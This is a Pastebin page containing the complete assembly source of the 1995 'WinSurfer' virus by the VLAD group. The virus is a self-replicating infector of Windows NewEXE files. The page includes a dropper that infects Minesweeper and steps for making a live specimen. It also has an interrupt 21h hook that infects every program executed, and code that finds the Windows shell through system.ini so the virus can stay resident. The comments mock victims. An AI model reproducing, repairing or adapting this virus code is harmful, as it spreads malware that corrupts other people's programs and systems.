Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;-------------------------------------------------------------------------
- ;
- ; WinSurfer Virus (c) 1995 VLAD incorporated.
- ; Written by qark and quantum.
- ;
- ; This virus is a parasitic TSR infector of NewEXE files. It works in
- ; protected mode only and infects on file execute.
- ;
- ; The executable infection code is by qark, while the interrupt handler
- ; code is by quantum.
- ;
- ; This virus contains no stealth of any form, a simple readonly attribute
- ; will stop the virus from writing, the time/date stamp is not preserved
- ; and there is no encryption of any form. Windows users are too dumb to
- ; notice anyway.
- ;
- ; To obtain a specimen of the virus, copy the compiled com file into the
- ; same directory as the file WINMINE.EXE and run it. Go into Windows
- ; and run the game 'Minesweeper'. Minesweeper should infect program
- ; manager direct action, so that next time windows is booted the virus
- ; will be resident.
- ;
- ; Possible Bugs and Improvements:
- ; 1) An error may be that if the file isn't exactly shift alignment sized
- ; the virus will overwrite some data at the end of the file or be
- ; incorrectly pointed.
- ; 2) An error may occur if the end of the segment table is less than eight
- ; bytes from a 512 byte divisor.
- ; 3) It may be possible to allocate buffer space without adding to virus
- ; size by changing the segment memory size in the segment table. At the
- ; moment the virus size is being doubled by the 512 byte read buffer we
- ; include in the disk image.
- ;
- ; Although the final virus was coded completely by quantum and I, many
- ; people helped by offering ideas, and windows documentation so I
- ; must give thanks to the following people:
- ; Screaming Radish, Stalker X, Dreadlord and some scandinavian dude.
- ; The most important help came from Malware who taught me the relocation
- ; entry ffff trick.
- ;
- ; Assemble with a86.
- ;-------------------------------------------------------------------------
- ;--Directly below is dropper code, ignore it, page down to the virus code--
- mov ax,3d02h
- mov dx,offset fname
- int 21h
- xchg bx,ax
- mov ah,3fh
- mov cx,512
- mov dx,offset buffer
- int 21h
- mov si,offset buffer
- cmp word ptr [si+3ch],400h
- je ok_dropper
- int 20h
- ok_dropper:
- mov ax,word ptr [si+2]
- mov word ptr ppage,ax
- mov ax,word ptr [si+4]
- mov word ptr pfile,ax
- mov ax,4200h
- xor cx,cx
- cwd
- int 21h
- mov ah,40h
- mov cx,offset setsp - offset header
- mov dx,offset header
- int 21h
- mov ax,4200h
- xor cx,cx
- mov dx,word ptr [si+3ch]
- int 21h
- mov ah,3fh
- mov cx,512
- mov dx,offset buffer
- int 21h
- mov ax,word ptr [si+1ch]
- inc word ptr [si+1ch] ;increase segment count
- mov cl,8
- mul cl
- mov di,word ptr [si+22h]
- add di,si
- add di,ax
- mov ax,4202h
- xor cx,cx
- cwd
- int 21h
- ;write in the new segment into the table
- mov cl,byte ptr [si+32h]
- push bx
- mov bx,1
- shl bx,cl
- mov cx,bx
- pop bx
- div cx
- mov word ptr [di],ax
- mov word ptr [di+2],winend-win_entry
- mov word ptr [di+4],180h
- mov word ptr [di+6],winend-win_entry
- mov ax,word ptr [si+14h]
- mov word ptr winip2,ax
- mov word ptr [si+14h],0
- mov ax,word ptr [si+16h]
- mov word ptr wincs2,ax
- mov ax,word ptr [si+1ch] ;new cs:ip
- mov word ptr [si+16h],ax
- mov ah,40h
- mov cx,winend-win_entry + 20h
- mov dx,offset win_entry
- int 21h
- add word ptr [si+4],512
- add word ptr [si+24h],512
- add word ptr [si+26h],512
- add word ptr [si+28h],512
- add word ptr [si+2ah],512
- mov dx,512
- mov ax,4200h
- xor cx,cx
- int 21h
- mov ah,40h
- mov cx,512
- mov dx,offset buffer
- int 21h
- mov ah,3eh
- int 21h
- int 20h
- ;--The New Windows DOS stub--
- header db 'MZ'
- ppage dw 0 ;part page
- pfile dw 0 ;file/512
- dw 0 ;relocation items
- dw 10h ;header size/16
- dw 0 ;minmem
- dw -1 ;maxmem
- dw 0 ;SS
- dw offset setsp - offset winstart ;SP
- dw 0 ;checksum
- dw 0 ;IP
- dw 0 ;CS
- dw 40h ;Relocation offset
- dupsize1 equ 3ch - ($-offset header)
- db dupsize1 dup (0)
- dw 200h ;NE offset
- dupsize2 equ 100h - ($-offset header)
- db dupsize2 dup (0)
- winstart:
- call windowsmsg
- db 'This program requires Microsoft Windows.',0dh,0ah,'$'
- windowsmsg:
- pop dx
- push cs
- pop ds
- mov ah,9
- int 21h
- mov ax,4c01h
- int 21h
- db 100 dup (0)
- setsp:
- ;---end of fake dropper dos stub--
- fname db 'winmine.exe',0
- ;----Start of the Virus---All the above is the dropper code, ignore it-------
- win_entry: ;Infected windows executables start here.
- jmp realenter
- int21start: ;Virus Int21 handler
- cmp ax,1894h ;Residency test ?
- jnz nottest
- mov cx,1234h
- iret
- nottest:
- pusha
- push ds
- push es
- cmp ah,4bh ;Windows is so dumb it uses DOS to
- ;execute.
- jnz return2int
- call executing
- return2int:
- pop es
- pop ds
- popa
- db 0eah
- oldint21 dw 0,0
- executing:
- mov ax,3d02h ;Open file in DS:DX
- int 21h
- jnc ok_open
- ret
- ok_open:
- push ax
- mov ax,0ah ;This function makes our CS writable.
- push cs
- pop bx
- int 31h
- push ax
- pop ds
- pop bx
- mov ah,3fh ;Read first 512 bytes of EXE header.
- mov cx,512
- mov dx,offset buffer-offset win_entry
- int 21h
- mov si,offset buffer-offset win_entry
- cmp word ptr [si],'ZM' ;Not a COM file.
- jne bad_open
- cmp word ptr [si+18h],40h ;40h+ for NE exe's
- jb bad_open
- cmp word ptr [si+3ch],400h ;header will be below if
- je fileisoktoinfect ;already infected...
- bad_open:
- jmp fileisunsuitable
- fileisoktoinfect:
- sub word ptr [si+3ch],8 ;Change NE pointer.
- sub word ptr [si+10h],8 ;Incase stack is end of header
- mov ax,4200h ;Lseek right back to the start.
- xor cx,cx
- cwd
- int 21h
- mov ah,40h ;Rewrite the modified DOS header.
- mov cx,512
- mov dx,offset buffer - offset win_entry
- int 21h
- jc bad_open ;Write fail.. outta here!
- mov ax,4200h ;Lseek to NE header.
- xor cx,cx
- mov dx,400h
- int 21h
- mov ah,3fh ;Read in first 512 bytes.
- mov cx,512
- mov dx,offset buffer - offset win_entry
- int 21h
- ;Adjust header offsets. Any tables behind the segment table will
- ;have their offset increased by eight because we are inserting a new
- ;eight byte segment entry.
- mov ax,word ptr [si+22h] ;AX=Segment table offset.
- cmp word ptr [si+4],ax
- jb ok_et
- add word ptr [si+4],8
- ok_et:
- cmp word ptr [si+24h],ax
- jb ok_rt
- add word ptr [si+24h],8
- ok_rt:
- cmp word ptr [si+26h],ax
- jb ok_rnt
- add word ptr [si+26h],8
- ok_rnt:
- cmp word ptr [si+28h],ax
- jb ok_mrt
- add word ptr [si+28h],8
- ok_mrt:
- cmp word ptr [si+2ah],ax
- jb ok_int
- add word ptr [si+2ah],8
- ok_int:
- mov ax,word ptr [si+1ch]
- inc word ptr [si+1ch] ;Increase segment count.
- mov cl,8 ;Assume less than 256 segments.
- mul cl
- add ax,word ptr [si+22h] ;AX=Size of segment table.
- xor dx,dx ;High order division value.
- mov cx,512 ;512 byte portions are used
- ; for the reads later on.
- div cx
- mov word ptr [offset ne_size-offset win_entry],ax
- ;How much we'll have to read.
- mov word ptr [offset last_ne-offset win_entry],dx
- ;Where the end of the segment table
- ; will be when we read it into the
- ; buffer. (The last buffer)
- ;Put the original CS:IP into our relocation table.
- push word ptr [si+14h]
- pop word ptr [offset newwinip2 - offset win_entry]
- push word ptr [si+16h]
- pop word ptr [offset newwincs2 - offset win_entry]
- ;Save the alignment shift count because we need that for calculating
- ;the offset of our segment when writing the segment entry.
- push word ptr [si+32h]
- pop word ptr [offset al_shift - offset win_entry]
- ;Point CS:IP to the virus.
- mov word ptr [si+14h],0 ;The new IP
- mov ax,word ptr [si+1ch]
- mov word ptr [si+16h],ax ;The new CS
- ;Initialise the lseek variable
- mov word ptr [offset lseek-offset win_entry],400h
- ;The below code gets the NE header and keeps moving it forward by
- ;eight bytes in 512 byte chunks.
- move_header_forward:
- mov ax,word ptr [offset ne_size-offset win_entry]
- or ax,ax
- jz last_page
- dec word ptr [offset ne_size-offset win_entry]
- mov ax,4200h ;Lseek to our current position.
- xor cx,cx
- mov dx,word ptr [offset lseek-offset win_entry]
- sub dx,8
- int 21h
- mov ah,40h ;Write the header section out.
- mov cx,512
- mov dx,si
- int 21h
- ;Advance the pointer by 512.
- add word ptr [offset lseek-offset win_entry],512
- mov ax,4200h ;Lseek to the next chunk.
- xor cx,cx
- mov dx,word ptr [offset lseek-offset win_entry]
- int 21h
- mov ah,3fh ;Read it.
- mov dx,offset buffer - offset win_entry
- mov cx,512
- int 21h
- jmp move_header_forward
- last_page:
- mov ax,4202h ;Lseek to end of file.
- xor cx,cx
- cwd
- int 21h ;File length into DX:AX
- ;DX:AX=File offset of our segment
- ;Below section shifts the segment offset right by the alignment
- ;shift value.
- mov cl,byte ptr [offset al_shift - offset win_entry]
- push bx
- mov bx,1
- shl bx,cl
- mov cx,bx
- pop bx
- div cx
- mov di,si
- add di,word ptr [offset last_ne-offset win_entry]
- ;Adding the new segment table entry
- mov word ptr [di],ax ;Segment offset
- mov word ptr [di+2],offset winend-offset win_entry
- mov word ptr [di+4],180h ;Segment attribute
- ; 180h = NonMovable + Relocations
- mov word ptr [di+6],offset winend-offset win_entry
- mov ax,4200h ;Lseek to next position.
- xor cx,cx
- mov dx,word ptr [offset lseek-offset win_entry]
- sub dx,8
- int 21h
- mov ah,40h ;Write rest of NE header + new seg entry.
- mov cx,word ptr [offset last_ne-offset win_entry]
- add cx,8 ;Added segment entry means eight more.
- mov dx,offset buffer - offset win_entry
- int 21h
- ;Reset the relocatable pointer.
- push word ptr [offset winip - offset win_entry]
- push word ptr [offset wincs - offset win_entry]
- mov word ptr [offset winip - offset win_entry],0
- mov word ptr [offset wincs - offset win_entry],0ffffh
- mov ax,4202h ;Lseek to end of file.
- xor cx,cx
- cwd
- int 21h
- mov ah,40h ;Write main virus body.
- mov cx,offset winend-offset win_entry
- xor dx,dx
- int 21h
- pop word ptr [offset wincs - offset win_entry]
- pop word ptr [offset winip - offset win_entry]
- mov ah,40h ;Write the relocation item.
- mov cx,offset winend-offset relocblk
- mov dx,offset relocblk-offset win_entry
- int 21h
- fileisunsuitable:
- mov ah,3eh ;Close file.
- int 21h
- ret
- prefix db 'hell='
- windir db 'indir='
- systemfile db 'system.ini',0
- NE_Size dw 0
- Last_NE dw 0
- Al_Shift dw 0
- LSeek dw 0
- progman db 0 ;1=Program Manager
- envir dw 0 ;environment segment
- pathbuff db 142 dup (0)
- realenter:
- pusha
- push si
- push di
- push ds
- push es
- mov ax,1686h ;Is DPMI available ?
- int 2fh
- or ax,ax
- jz dpmifound
- no_dpmi:
- jmp alreadyinmem
- dpmifound:
- mov ax,000ah ;Make CS writable.
- push cs ;Protected mode isn't protected.
- pop bx
- int 31h ;Use DPMI.
- push ax
- pop ds
- xor cx,cx ;Check if resident.
- mov ax,1894h
- int 21h
- cmp cx,1234h ;Must be resident..
- jz no_dpmi
- cmp byte ptr [offset progman - offset win_entry],1
- jne direct_progman
- mov byte ptr [offset progman - offset win_entry],0
- ;Can't go TSR off any program but program manager.
- mov ax,0204h ;Get real mode interrupt vector.
- mov bl,21h
- int 31h
- mov ds:[offset oldint21 - win_entry],dx
- mov ds:[offset oldint21 - win_entry + 2],cx
- push cs
- pop cx
- mov dx,offset int21start-win_entry
- mov ax,0205h
- mov bl,21h
- int 31h ;Set real mode interrupt vector.
- jmp alreadyinmem
- direct_progman:
- ;Next portion of code searches for the environment variable
- ;'windir' and places that before the files we access.
- ;On entry ES=PSP
- mov ax,word ptr es:[2ch] ;PSP:[2ch]=Environment segment.
- cld
- mov es,ax
- mov al,'w' ;w from windir
- mov cx,-1
- xor di,di
- mov dx,di
- dir_loop:
- mov di,dx
- repnz scasb
- mov dx,di
- mov si,offset windir-win_entry
- push cx
- mov cx,6
- repe cmpsb ;indir from windir
- pop cx
- jne dir_loop
- mov si,di
- mov ax,ds
- push es
- pop ds
- mov es,ax
- mov cx,128
- mov di,offset pathbuff-win_entry
- rep movsb ;Move it into our path buffer.
- push es
- pop ds
- mov di,offset pathbuff-win_entry
- mov al,0
- mov cx,128
- repnz scasb
- mov byte ptr es:[di-1],'\' ;Add a slash behind the path.
- mov si,offset systemfile -offset win_entry
- mov cx,11
- rep movsb
- ;The below code reads in the 'system.ini' file and searches for
- ;the 'shell=' value, and infects the program specified by it.
- ;The windows shell (eg program manager) is always active in memory
- ;and we use it to go resident off.
- mov ax,3d02h
- mov dx,offset pathbuff -offset win_entry
- int 21h
- jc alreadyinmem
- xchg bx,ax
- mov ah,3fh
- mov cx,512
- mov dx,offset buffer -offset win_entry
- int 21h
- mov ah,3eh
- int 21h
- push ds
- pop es
- mov di,offset buffer-offset win_entry
- mov dx,di
- cld
- mov cx,512
- shell_loop:
- mov di,dx
- mov al,'s' ;The 's' in 'shell='
- repne scasb
- jne alreadyinmem
- mov dx,di
- mov si,offset prefix -offset win_entry ;Test for 'hell='
- push cx
- mov cx,5
- repe cmpsb
- pop cx
- jne shell_loop
- mov si,di ;Offset of filename into DX.
- mov al,'.' ;The dot in the filename extension.
- mov cl,0ffh
- repne scasb
- add di,3 ;Point to past the filename.
- mov byte ptr es:[di],0 ;Add a zero to make it asciiz.
- mov di,offset pathbuff-win_entry
- mov al,0
- mov cx,128
- repnz scasb ;Search for the 0 at the path end.
- dec di
- mov al,'\' ;Now find the last backslash.
- mov cx,128
- std ;Scan backwards.
- repnz scasb
- cld
- inc di ;DI points behind the final '\'
- inc di
- mov cx,15
- rep movsb ;Append the shell program name.
- mov dx,offset pathbuff-win_entry
- mov byte ptr [offset progman - offset win_entry],1
- call executing
- mov byte ptr [offset progman - offset win_entry],0
- alreadyinmem:
- pop es
- pop ds
- pop di
- pop si
- popa
- db 0eah ;JMP FAR PTR xxxx:xxxx
- winip dw 0
- wincs dw 0ffffh ;Needs to be FFFF due to windows
- ; relocation item format.
- buffer db 512 dup (0)
- ;Below is the relocation item format. What ours does is turn the far jump
- ; above us into a jump to the original CS:IP.
- relocblk dw 1 ;Signal only one relocation item.
- db 3 ;32 bit pointer relocation.
- db 4 ;Additive relocation (unsure, but
- ; it doesnt work unless you put this)
- dw offset winip-offset win_entry ;Relocation offset.
- newwincs2 dw 0 ;Target of the relocation. (We use
- newwinip2 dw 0 ; the original host CS:IP)
- winend: ;The actual virus ends here.
- ;-----End of the Virus---Below is dropper code-----------------------------
- dw 1
- db 3
- db 4
- dw offset winip - offset win_entry
- wincs2 dw 0
- winip2 dw 0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement